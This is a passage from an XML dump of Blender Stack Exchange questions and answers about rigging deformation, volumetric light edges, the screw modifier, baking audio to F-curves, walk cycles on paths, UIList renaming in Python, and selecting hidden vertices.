LastActivityDate="2015-02-10T03:30:54.580" Title="Why does my model deform so badly when I'm trying to animate it?" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24503" PostTypeId="2" ParentId="24502" CreationDate="2015-02-09T19:11:23.703" Score="1" Body="&lt;p&gt;For a leg :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have the leg itself, and a cloth, and the thickness of the cloth. Your problem lies in the inside part of the cloth that is not well vertex-weighted, and then not following the bone's movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cloth thickness&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBTe9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cloth partially deformed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kVU49.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vertex weight of the cloth (1 bone selected)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bJVh4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I suggest : Delete non-visible vertices (leg hidden by cloth, inside of cloth). As they won't be needed for render anyway, they're useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do if you need to keep everything like that : Paint vertex weights (in weight paint mode) or at least assign the parts that need to move to the good vertex group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weight paint mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZkR3a.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;manually assign vertices to a vertex group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFsmD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-09T21:26:01.053" LastActivityDate="2015-02-09T21:26:01.053" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24504" PostTypeId="1" CreationDate="2015-02-09T19:39:55.500" Score="1" ViewCount="1144" Body="&lt;p&gt;I was making an scene and thanks to the help of the people here, i managed to make a volumetric light..but now that i think the 'borders' are too sharp, and this light (seen on the picture) is nothing more than a deformed cube, so i need to know, it is possible to for example just select this single geometry and make it look blurry? actually what i need is to make the borders more blurry (like a light), but it could also help me in the future for references. (Oh, and I'm also using Cycles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone know how to do this, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yVys3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-09T22:02:01.883" Title="It is possible to render a geometry as a blurry object?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24505" PostTypeId="2" ParentId="24504" CreationDate="2015-02-09T20:12:31.730" Score="2" Body="&lt;p&gt;size up your mesh with volume shader. the light is supposed to be inside, but sharp borders are your meshe's borders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z8Sgr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or change the blend factor of the spot shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8JHGZ.jpg&quot; alt=&quot;blend fac of spot light&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-09T22:02:01.883" LastActivityDate="2015-02-09T22:02:01.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24506" PostTypeId="1" AcceptedAnswerId="24507" CreationDate="2015-02-09T20:19:44.773" Score="5" ViewCount="1135" Body="&lt;p&gt;I got two good answers to my previous question about using a profile to create a mesh.  The problem I am still having is that I can't get the axis of rotation in the right place.  One thread said to position the 3D Cursor on the axis and another said to move the axis to the Origin.  I redid this three times. The last time was the closest. Still, the axis of rotation varied from ideal. How do I position the 3D cursor more accurately so as to make the axis of rotation where I want it to be? &lt;img src=&quot;https://i.stack.imgur.com/nX5JF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="19307" LastEditDate="2020-01-09T11:03:45.733" LastActivityDate="2020-01-09T11:03:45.733" Title="Using the Screw modifier, how do I accurately set the axis of rotation?" Tags="&lt;modifiers&gt;&lt;screw-modifier&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24507" PostTypeId="2" ParentId="24506" CreationDate="2015-02-09T20:31:02.940" Score="5" Body="&lt;p&gt;The modifier uses the objects (local) axis (X, Y, Z)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modeling from top side or front ortho view will make things simple. use numpad&lt;kbd&gt;5&lt;/kbd&gt; to switch orthogonal/perspective view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shape modeled in top ortho view (green line is Y global axis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DCYNd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screw modifier set on Z object axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4Vwv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screw modifier set on Y object axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iwx9S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once modeled, you can move your object or rotate it (object mode) but in edit mode, you'll get a mess. Apply modifier or clear rotations for editing.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-09T21:29:53.317" LastActivityDate="2015-02-09T21:29:53.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24508" PostTypeId="2" ParentId="24504" CreationDate="2015-02-09T20:58:31.820" Score="3" Body="&lt;p&gt;change the &lt;strong&gt;object index&lt;/strong&gt; and use this node setup in the compositor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GhyI6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;strong&gt;id mask&lt;/strong&gt; will create a mask from the object and  the &lt;strong&gt;erode&lt;/strong&gt; will give it smooth edges&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-09T20:58:31.820" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24509" PostTypeId="2" ParentId="23919" CreationDate="2015-02-09T21:01:32.283" Score="1" Body="&lt;p&gt;I tried something, more complex than I expected. The mesh is not flat, a bit deformed (large area proportional edited vertices, very low distance)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uxKdK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uxKdK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic &lt;a href=&quot;http://www.cgtextures.com/texview.php?id=6850&quot; rel=&quot;nofollow noreferrer&quot;&gt;scratch texture&lt;/a&gt; form CGTextures.com, not reworked, not tilabled.&lt;br&gt;&#xA;Lights are a pain, could use a ref to get something decent. It looks like something is throwing light (ground reflection?) on the seats shadows.&#xA;I think the Blue/green colors are due to the use of acid on copper, could be textured.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="2217" LastEditDate="2015-02-09T23:08:27.527" LastActivityDate="2015-02-09T23:08:27.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24511" PostTypeId="2" ParentId="24460" CreationDate="2015-02-09T21:29:56.327" Score="2" Body="&lt;p&gt;I've partially solved this by using some external programs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I edited the audio in &lt;a href=&quot;http://audacity.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Audacity&lt;/a&gt;, to get a curve shape I was happy with. I won't go in to the detailed workflow, as this would be beyond the scope of this site. What I did was basically applying a series of compression, normalization and amplification filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly I resampled the audio to 32-bit floating point, as it seems Blender doesn't correctly map 16-bit integers to values between 0 and 1. For this I used &lt;a href=&quot;http://sox.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SoX&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sox &amp;lt;infile&amp;gt; -b 32 -e floating-point &amp;lt;outfile&amp;gt;&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I could do both with either program, but I find SoX to be better at resampling and Audacity more intuitive, as I can see the changes directly affecting the shape of the curve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in Blender, I created an object (in this case an icosphere) and added a keyframe (in this case to the Z location) at frame 1.&lt;br&gt;&#xA;Then, in the graph editor, &lt;code&gt;Key&lt;/code&gt; &gt; &lt;code&gt;Bake Sound to F-curves&lt;/code&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gM37q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Experiment with the different settings. I used an attack time of 0 and left the others to their defaults. Increasing the attack time may make the curve smoother, but it may also introduce clipping below 1.0, if the curve starts decaying before the attack time has passed. Likewise the release time may introduce clipping above 0.0, if the curve turns upwards before the release time has passed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I got&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ty5ye.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/luqnN.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The animation gets a bit jumpy. This is mainly caused by resampling the audio to the framerate (e.g. resampling from 44100 samples/second from a CD source to 25 samples/second for a PAL DVD).&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-09T23:19:21.600" LastActivityDate="2015-02-09T23:19:21.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24512" PostTypeId="1" CreationDate="2015-02-09T21:37:52.940" Score="1" ViewCount="273" Body="&lt;p&gt;I created a walk cycle where the person moves from point A to point B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a circle in object mode, then I added the constraint in pose mode. But when I put in forward X up to Z I get this amazing deformation of the object!&lt;br&gt;&#xA;What is the problem? It seems that the problem occurs during the switch between IK and FK modes. Until now, I could not understand these tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I lose the motion? In fact, When I try to execute the walk cycle in FK mode using the snap buttons, I lose all motions in IK mode!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LvQsW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0fTZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="599" LastEditDate="2015-02-21T03:30:55.060" LastActivityDate="2015-02-21T05:30:46.627" Title="What causes this deformation when switching to FK mode?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;constraints&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24513" PostTypeId="2" ParentId="24512" CreationDate="2015-02-09T22:08:13.917" Score="4" Body="&lt;p&gt;After you created a walk cycle as described in an earlier post: &lt;a href=&quot;https://blender.stackexchange.com/questions/3736/how-should-an-animated-character-be-moved-while-repeating-a-walk-cycle/3740#3740&quot;&gt;How should an animated character be moved while repeating a walk cycle?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If only takes a few keyframes where you move the legs and arms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ACsrQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the movement has to be in place, no keyframes must be added to the root bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a curve (This example uses a bezier circle) and add a &lt;em&gt;Follow Path&lt;/em&gt; constraint to the root bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IiO9r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the NLA editor add your action holding the walk cycle and set the repeat value that it matches the length of the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q19Z1.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kk8Kj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-09T22:24:01.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24514" PostTypeId="1" CreationDate="2015-02-09T23:20:47.623" Score="1" ViewCount="588" Body="&lt;p&gt;I have a custom list to show some Groups to the user like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RenderGroups(bpy.types.PropertyGroup):&#xA;    image = StringProperty(&#xA;            name=&quot;Image&quot;,&#xA;            description=&quot;The image-texture of this group&quot;)&#xA;&#xA;    def __setattr__(self, attr, value):&#xA;        _name = &quot;name&quot;&#xA;        print(&quot;Hi&quot;, attr == _name)&#xA;        super().__setattr__(attr, new_value)&#xA;&#xA;class RenderGroupUIList(bpy.types.UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            row = layout.row()&#xA;            if not item:&#xA;                row.label(text=&quot;&quot;, translate=False, icon_value=icon)&#xA;                return&#xA;            row.prop(item, &quot;name&quot;, text=&quot;&quot;, emboss=False, icon_value=icon)&#xA;            if item.image not in bpy.data.images:&#xA;                row.label(icon=&quot;ERROR&quot;)&#xA;        # 'GRID' layout type should be as compact as possible (typically a single icon!).&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(text=&quot;&quot;, icon_value=icon)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem now is the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When I access an element of the list (&lt;code&gt;C.object.test_list&lt;/code&gt;) with &lt;code&gt;C.object.test_list[0].name = &quot;New name&quot;&lt;/code&gt; it prints &lt;code&gt;&quot;Hi&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;When I set the name of an element of the list via double clicking on the item in the Pane I show the list in, the Info-Header tells me &lt;code&gt;bpy.context.object.test_list[1].name = &quot;New Name&quot;&lt;/code&gt; but &quot;Hi&quot; never shows up in the console (Yes, the System Console in this context)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: closely connected to &lt;a href=&quot;https://blender.stackexchange.com/questions/15122&quot;&gt;this question&lt;/a&gt;. I need to check for updates of &lt;code&gt;prop.name&lt;/code&gt;, not &lt;code&gt;prop.image&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-02-10T17:46:40.113" Title="Double-Click-rename on a list item does not call __setattr__" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24515" PostTypeId="1" CreationDate="2015-02-09T23:21:25.890" Score="3" ViewCount="135" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qflzR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4LEtf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3g8Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the edge continue to show up on my background mountains?  I'm using alpha but I can't get the edge to not show up.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="11510" LastEditDate="2015-02-09T23:39:20.227" LastActivityDate="2015-02-10T02:10:44.443" Title="Edge of background image is visible" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24516" PostTypeId="2" ParentId="24499" CreationDate="2015-02-09T23:22:52.087" Score="6" Body="&lt;p&gt;You can also use the &lt;em&gt;Boolean&lt;/em&gt; modifier. This works great cause it makes the trench the exact size of the object embedded in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the objects, if needed create a separate object that is the size and shape you want your trench to be, the add a Boolean modifier to the block, with the handle or trench object as the target and the type set to &lt;em&gt;difference&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are pictures of two different &quot;evil genius switch's&quot; (that a thing now :) made using the Boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WmGrf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/trDkP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-02-09T23:22:52.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24517" PostTypeId="2" ParentId="24108" CreationDate="2015-02-09T23:37:36.860" Score="0" Body="&lt;p&gt;I think you should use this addon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/YHOYO/mesh_doshape_tools/blob/master/mesh_doshape_tools/calc_largosyangulos.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/YHOYO/mesh_doshape_tools/blob/master/mesh_doshape_tools/calc_largosyangulos.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;you only need select 3 vertices and this will show you two messages&lt;/p&gt;&#xA;&lt;p&gt;1 to angles&lt;/p&gt;&#xA;&lt;p&gt;2 to lengths&lt;/p&gt;&#xA;&lt;p&gt;a fast video about how this work:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=zxm2EaJd_uM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=zxm2EaJd_uM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;also this will print all data for console&lt;/p&gt;&#xA;&lt;p&gt;may be do you want another feature?&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-09T23:42:52.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24518" PostTypeId="1" AcceptedAnswerId="24535" CreationDate="2015-02-09T23:39:47.870" Score="0" ViewCount="516" Body="&lt;p&gt;actually I making some extraobjects, and I want to add the feature &quot;align object to view&quot; &#xA;but I don't know how..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I check the &lt;a href=&quot;https://blender.stackexchange.com/questions/14126/align-object-to-view-with-python&quot;&gt;Align object to view with Python&lt;/a&gt; but I don't understand how apply in my task&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the addon working:  &lt;a href=&quot;http://pastebin.com/eW0Vu2EQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastebin.com/eW0Vu2EQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-02-10T11:53:49.157" Title="add &quot;align object to view&quot; to addon" Tags="&lt;scripting&gt;&lt;3d-view&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ClosedDate="2015-02-10T20:10:19.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="24519" PostTypeId="2" ParentId="24515" CreationDate="2015-02-09T23:54:29.183" Score="3" Body="&lt;p&gt;The issue was that your image was duplicating at the top, Under image mapping change the drop down from &lt;em&gt;repeat&lt;/em&gt; to &lt;em&gt;extend&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-02-10T02:10:44.443" LastActivityDate="2015-02-10T02:10:44.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24520" PostTypeId="1" AcceptedAnswerId="24521" CreationDate="2015-02-09T23:56:38.427" Score="10" ViewCount="8916" Body="&lt;p&gt;I've got a ship model&#xA;&lt;img src=&quot;https://i.stack.imgur.com/heN32.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the purpose of a simplified collision model (My archers won't be running into the sails), I would like to remove all the sails, the rigging, and the strings. However, that does not seem to be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing X and going &quot;Delete&quot; leaves me with this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kTSSb.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;And for some reason, the rigging won't go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick GIF:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5k9d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a link to a less-jumpy MP4:&#xA;&lt;a href=&quot;http://i.gyazo.com/ec063d07a527f86f592495dea173bb15.mp4&quot; rel=&quot;noreferrer&quot;&gt;http://i.gyazo.com/ec063d07a527f86f592495dea173bb15.mp4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I select a SINGLE VERTEX, it won't delete!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.gyazo.com/a863b11ce9e9f01fcc4a77297983e2ce.mp4&quot; rel=&quot;noreferrer&quot;&gt;http://i.gyazo.com/a863b11ce9e9f01fcc4a77297983e2ce.mp4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I delete these vertices?&lt;/p&gt;&#xA;" OwnerUserId="7464" LastEditorUserId="599" LastEditDate="2015-02-10T00:55:45.823" LastActivityDate="2020-09-03T14:04:53.463" Title="Why am I unable to delete vertices?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="21" ContentLicense="CC BY-SA 3.0" />
  <row Id="24521" PostTypeId="2" ParentId="24520" CreationDate="2015-02-10T00:55:24.310" Score="15" Body="&lt;p&gt;Blender &lt;em&gt;is&lt;/em&gt; deleting all the selected vertices, but not all the vertices you want to delete are being selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because by default blender will not select vertices hidden behind other geometry when using a &lt;a href=&quot;https://blender.stackexchange.com/q/5004/599&quot;&gt;selection tool like &lt;em&gt;Lasso&lt;/em&gt; or &lt;em&gt;Box&lt;/em&gt;&lt;/a&gt;. To select all geometry including vertices obscured behind other geometry, either perform the selecting in &lt;em&gt;Wireframe view&lt;/em&gt; (&lt;kbd&gt;Z&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U4aPJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or turn off &lt;em&gt;Limit selection to visible&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt; to select obscured geometry in solid view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4QBnp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-02-10T00:55:24.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24522" PostTypeId="1" CreationDate="2015-02-10T02:35:39.747" Score="2" ViewCount="199" Body="&lt;p&gt;Let's say I have the characters linked to a scene named &quot;Shot_002&quot; in Shot_002.blend where I did the animation. I can link the Scene to a new .blend file and use it in the compositor, or I can link the same Scene to another .blend file and use it in the VSE.&#xA;Is there a way to link the file with the compositing work to a file with the editing work to make a render of the full short film directly after the editing is complete? &lt;/p&gt;&#xA;" OwnerUserId="5956" LastActivityDate="2015-04-03T06:58:08.687" Title="Library Linking with compositor and VSE" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;&lt;blend-files&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24523" PostTypeId="1" CreationDate="2015-02-10T02:55:50.740" Score="13" ViewCount="1065" Body="&lt;p&gt;In the Blender UI, what is the difference between the Properties region (the thing that can be opened with &lt;kbd&gt;N&lt;/kbd&gt;) and the Properties editor (the thing at the very right)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do they apply to (e.g. current selection/viewport/globally) and what kind of settings can I expect in each of them? In other words, if I were a developer adding a feature, how would I decide whether to put the UI in the Properties panel or the Properties window?&lt;/p&gt;&#xA;" OwnerUserId="11512" LastEditorUserId="11512" LastEditDate="2015-02-10T16:47:53.620" LastActivityDate="2016-11-15T12:58:32.627" Title="What is the difference between the two properties panels?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24524" PostTypeId="2" ParentId="24523" CreationDate="2015-02-10T03:03:07.703" Score="4" Body="&lt;p&gt;The properties panel contains options pertaining to the 3d view and the active object. The properties area contains options pertaining to the world/scene and a more extensive set of controls for the active object, including the ones contained by the panel.&#xA; Both are partially relevant to the selection. In the area, the first four items apply to the scene (global),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V7bYG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&#xA;&lt;sup&gt;The circled items apply to the selection&lt;/sup&gt;&lt;br/&gt;&#xA; and the remaining ones apply to the selection in the case of the panel, the transform and item section are relevant to the selection everything else pertains to the 3d view or the 3d cursor. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/zMhFq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&#xA;&lt;sup&gt;The circled items apply to the selection&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the contents of the transform and item section can be found under the object section in the area (Orange cube icon).&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-02-10T04:13:40.053" LastActivityDate="2015-02-10T04:13:40.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24525" PostTypeId="1" CreationDate="2015-02-10T03:10:37.547" Score="5" ViewCount="1532" Body="&lt;p&gt;Is it possible to transform/affect the texture coords from within the OSL shader?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to have my shader slip the input texture around on the surface of my object which already has uv coordinates.&lt;/p&gt;&#xA;" OwnerUserId="11501" LastActivityDate="2015-02-10T15:09:46.587" Title="transform texture coords within OSL?" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;osl&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24526" PostTypeId="2" ParentId="24523" CreationDate="2015-02-10T03:48:52.553" Score="8" Body="&lt;p&gt;The &lt;em&gt;Properties region&lt;/em&gt;, or as it is commonly called the &lt;em&gt;Properties panel&lt;/em&gt;, holds settings for the 3D view and the active object.&lt;br&gt;&#xA;In the picture below of the properties region, all the selection specific items are at the top. The bottom seven in the red box are all settings for the 3D view. The grease Pencil can be either object specific or scene specific.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L9F3x.png&quot; alt=&quot;properties region&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Properties window&lt;/em&gt;, or &lt;em&gt;Proprieties editor&lt;/em&gt; holds the settings for the entire scene and the active object. The first four contexts (aka &quot;tabs&quot;), in the red box, are for the scene and do not change with the active object. All the other tabs, with the exception of the 